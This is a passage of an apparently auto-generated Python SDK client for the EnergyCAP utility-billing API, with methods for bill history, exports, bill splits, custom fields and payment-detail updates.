:param billing_period: required: billingPeriod in yyyymm format to
return history from
:type billing_period: int
:param number_of_years: optional: Number of years of history to
return. Defaults to 5
:type number_of_years: int
:param include_void: optional: Should voided bills be included.
Defaults to false
:type include_void: bool
:param include_accrual: optional: Should accrual bills be included.
Defaults to false
:type include_accrual: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillHistoryResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_bill_history.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if billing_period is not None:
query_parameters['billingPeriod'] = self._serialize.query("billing_period", billing_period, 'int')
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if include_void is not None:
query_parameters['includeVoid'] = self._serialize.query("include_void", include_void, 'bool')
if include_accrual is not None:
query_parameters['includeAccrual'] = self._serialize.query("include_accrual", include_accrual, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[BillHistoryResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account_bill_history.metadata = {'url': '/api/v3/account/{accountId}/billHistory'}
def get_bill_entry_data_by_bill_id(
self, bill_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all data necessary to load the bill entry screen.
:param bill_id:
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillEntryResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillEntryResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_entry_data_by_bill_id.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillEntryResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_entry_data_by_bill_id.metadata = {'url': '/api/v3/bill/{billId}/billEntry'}
def get_bill_history(
self, bill_id, number_of_years=5, include_void=False, include_accrual=False, custom_headers=None, raw=False, **operation_config):
"""Retrieves bill history from starting at the billId billing period.
:param bill_id: billId to get bill history for
:type bill_id: int
:param number_of_years: optional: Number of years of history to
return. Defaults to 5
:type number_of_years: int
:param include_void: optional: Should voided bills be included.
Defaults to false
:type include_void: bool
:param include_accrual: optional: Should accrual bills be included.
Defaults to false
:type include_accrual: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillHistoryResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_history.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if number_of_years is not None:
query_parameters['numberOfYears'] = self._serialize.query("number_of_years", number_of_years, 'int')
if include_void is not None:
query_parameters['includeVoid'] = self._serialize.query("include_void", include_void, 'bool')
if include_accrual is not None:
query_parameters['includeAccrual'] = self._serialize.query("include_accrual", include_accrual, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[BillHistoryResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_history.metadata = {'url': '/api/v3/bill/{billId}/billHistory'}
def export_bills_method(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Retrieves text of a standard EnergyCAP bill export file for AP and GL
purposes.
Maximum of 10000 bills can be processed at one time.
Only bills with the following conditions are included in the export
file:
1) approved bills (if the approval system is enabled in workflow
settings)
2) bill is in a closed batch (if after batch or after batch approval is
set in the workflow settings)
3) bill is not held for export
4) bill is not void
5) bill is within the user's topmost setting.
6) bill in not already exported.
:param body:
:type body: ~energycap.sdk.models.BillExport
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.export_bills_method.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillExport')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
export_bills_method.metadata = {'url': '/api/v3/bill/export'}
def unexport_bills(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Marks one or more bills as unexported.
:param body: An array of bill ids to be marked as unexported and
export mode
:type body: ~energycap.sdk.models.BillUnexport
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.unexport_bills.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillUnexport')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
unexport_bills.metadata = {'url': '/api/v3/bill/unexport'}
def unexport_bills_by_guid(
self, bill_export_guid, custom_headers=None, raw=False, **operation_config):
"""Marks one or more bills as unexported. The bills to be unexported are
selected based on the guid passed in.
The guid is generated when bills are exported via the bill export end
point, and the guid is returned in the header of the response in a
field named Ec-Guid.
:param bill_export_guid: The identifier for the bills to be unexported
:type bill_export_guid: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.unexport_bills_by_guid.metadata['url']
path_format_arguments = {
'billExportGuid': self._serialize.url("bill_export_guid", bill_export_guid, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
unexport_bills_by_guid.metadata = {'url': '/api/v3/bill/unexport/{billExportGuid}'}
def export_bill_profile(
self, export_mode="ap", custom_headers=None, raw=False, **operation_config):
"""Retrieves the text of a standard EnergyCAP bill export ini file for AP
and GL purposes.
:param export_mode: Specifies whether the profile should be for AP or
GL. Pass in "AP" for AP Profile, and pass in "GL" for GL Profile. If
this is not included in the request, it defaults to AP.
:type export_mode: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.export_bill_profile.metadata['url']
# Construct parameters
query_parameters = {}
if export_mode is not None:
query_parameters['exportMode'] = self._serialize.query("export_mode", export_mode, 'str')
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
export_bill_profile.metadata = {'url': '/api/v3/bill/exportProfile'}
def bill_action_split_method(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Run the bill split processor on the given list of bills.
Optional note can be provided.
Optional batch settings can be provided that will allow custom
batchcode and bill headers for the destination bills.
:param body:
:type body: ~energycap.sdk.models.BillActionSplit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_action_split_method.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillActionSplit')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bill_action_split_method.metadata = {'url': '/api/v3/bill/split'}
def clean_dirty_bills(
self, custom_headers=None, raw=False, **operation_config):
"""Cleans all dirty bills, and any bills created outside of version 7.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.clean_dirty_bills.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
clean_dirty_bills.metadata = {'url': '/api/v3/bill/cleanBill'}
def clean_abill(
self, bill_id, custom_headers=None, raw=False, **operation_config):
"""Cleans a single bill. The dirty flag of the bill is not taken into
account.
:param bill_id:
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.clean_abill.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
clean_abill.metadata = {'url': '/api/v3/bill/cleanBill/{billId}'}
def process_bill_custom_action(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Fires a custom bill action. Custom bill actions are setup as webhooks.
:param body:
:type body: ~energycap.sdk.models.BillActionCustom
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WebhookLogDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WebhookLogDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.process_bill_custom_action.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillActionCustom')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WebhookLogDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
process_bill_custom_action.metadata = {'url': '/api/v3/bill/customAction'}
def reverse_bills(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates reversal bills for the given bill ids.
:param body:
:type body: ~energycap.sdk.models.BillReversalRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.reverse_bills.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillReversalRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
reverse_bills.metadata = {'url': '/api/v3/bill/reverse'}
def set_bill_accrual_exclusion(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Excludes or undoes exclusion of bills from accruals.
:param body:
:type body: ~energycap.sdk.models.BillAccrualExclusionRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.set_bill_accrual_exclusion.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillAccrualExclusionRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
set_bill_accrual_exclusion.metadata = {'url': '/api/v3/bill/accrualExclusion'}
def get_bill_custom_fields(
self, bill_id, custom_headers=None, raw=False, **operation_config):
"""Get custom field values for a bill.
:param bill_id: The id of the bill
:type bill_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFFieldChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_custom_fields.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFFieldChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_custom_fields.metadata = {'url': '/api/v202202/bill/{billId}/udf'}
def edit_bill_custom_fields(
self, bill_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit the custom field values on a bill.
:param bill_id: The id of the bill
:type bill_id: int
:param body: The list of udf values being edited
:type body: list[~energycap.sdk.models.UDFValue]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UDFFieldChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_bill_custom_fields.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[UDFValue]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UDFFieldChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_bill_custom_fields.metadata = {'url': '/api/v202202/bill/{billId}/udf'}
def download_bill_custom_field_file(
self, bill_id, udf_id, custom_headers=None, raw=False, **operation_config):
"""Download file for a bill custom field.
:param bill_id: The id of the bill
:type bill_id: int
:param udf_id: The id of the custom field
:type udf_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.download_bill_custom_field_file.metadata['url']
path_format_arguments = {
'billId': self._serialize.url("bill_id", bill_id, 'int'),
'udfId': self._serialize.url("udf_id", udf_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
download_bill_custom_field_file.metadata = {'url': '/api/v202202/bill/{billId}/udf/{udfId}/download'}
def bill_payment_details(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""For each record in the request body, update the bill payment details.
:param body: List of Bill payment details
:type body: list[~energycap.sdk.models.BillPaymentDetailsItem]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillPaymentDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillPaymentDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_payment_details.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[BillPaymentDetailsItem]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillPaymentDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bill_payment_details.metadata = {'url': '/api/v202108/bill/billPaymentDetails'}
def bill_payment_details_file(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""For each bill in the import file, update the bill payment details.
The import file needs to be a comma separated file.
All lines are data lines (No header line allowed).
The file structure is as follows-
Bill Id (required), Check Number (required), Check Date YYYYMMDD format
(required), Pay Status (upto 10 characters- do not use commas)
(required), Cleared Date YYYYMMDD format (optional), Accounting Period
YYYYMM (optional), comment (optional) - comment will be ignored.
Example data:12345,7098,20210801,Procesed,20210806,202107,July bill
paid via AP
For this request, please use application/octet-stream as Content-Type
and include your file as binary in the body of the request.
///.
:param body: Binary data containing the file contents
:type body: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillPaymentDetailsFileResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.BillPaymentDetailsFileResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.bill_payment_details_file.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/octet-stream'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'str')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillPaymentDetailsFileResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
bill_payment_details_file.metadata = {'url': '/api/v202108/bill/billPaymentDetailsFile'}
def distribute_account_charges_to_meters(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""For each bill in the request body which has account-level charges,
distribute these account charges amongst the meters on the bill.
This is done proportionally by meter use or cost, depending on the
split basis.
Maximum of 10000 bills can be processed at one time.
:param body: Distribution information
:type body:
~energycap.sdk.models.DistributeAccountChargesToBillsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.distribute_account_charges_to_meters.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'DistributeAccountChargesToBillsRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
distribute_account_charges_to_meters.metadata = {'url': '/api/v202104/bill/distributeAccountCharges'}
def get_bill_split_versions(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of bill split versions which match the provided filter
conditions.
:param filter: API filter string containing conditions
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.DistributionVersionResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_split_versions.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[DistributionVersionResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_bill_split_versions.metadata = {'url': '/api/v3/billSplit'}
def get_bill_splits(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Get a list of bill split versions on an account.
:param account_id: ID of the account to get all assigned bill split
versions
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.DistributionVersionResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_splits.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[DistributionVersionResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_splits.metadata = {'url': '/api/v3/account/{accountId}/billSplit'}
def get_bill_split_version_history(
self, account_id, meter_id, custom_headers=None, raw=False, **operation_config):
"""Get a list of bill split versions on this account and meter
relationship.
